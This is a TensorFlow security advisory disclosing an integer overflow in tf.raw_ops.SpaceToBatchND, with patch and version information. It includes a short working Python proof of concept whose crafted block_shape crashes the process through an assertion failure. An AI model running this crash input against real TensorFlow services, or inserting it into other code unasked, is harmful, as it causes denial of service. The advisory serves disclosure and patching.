Impact
The implementation of tf.raw_ops.SpaceToBatchND (in all backends such as XLA and handwritten kernels) is vulnerable to an integer overflow:
import tensorflow as tf
input = tf.constant(-3.5e+35, shape=[10,19,22], dtype=tf.float32)
block_shape = tf.constant(-1879048192, shape=[2], dtype=tf.int64)
paddings = tf.constant(0, shape=[2,2], dtype=tf.int32)
tf.raw_ops.SpaceToBatchND(input=input, block_shape=block_shape, paddings=paddings)
The result of this integer overflow is used to allocate the output tensor, hence we get a denial of service via a CHECK-failure (assertion failure), as in TFSA-2021-198.
Patches
We have patched the issue in GitHub commit acd56b8bcb72b163c834ae4f18469047b001fadf.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
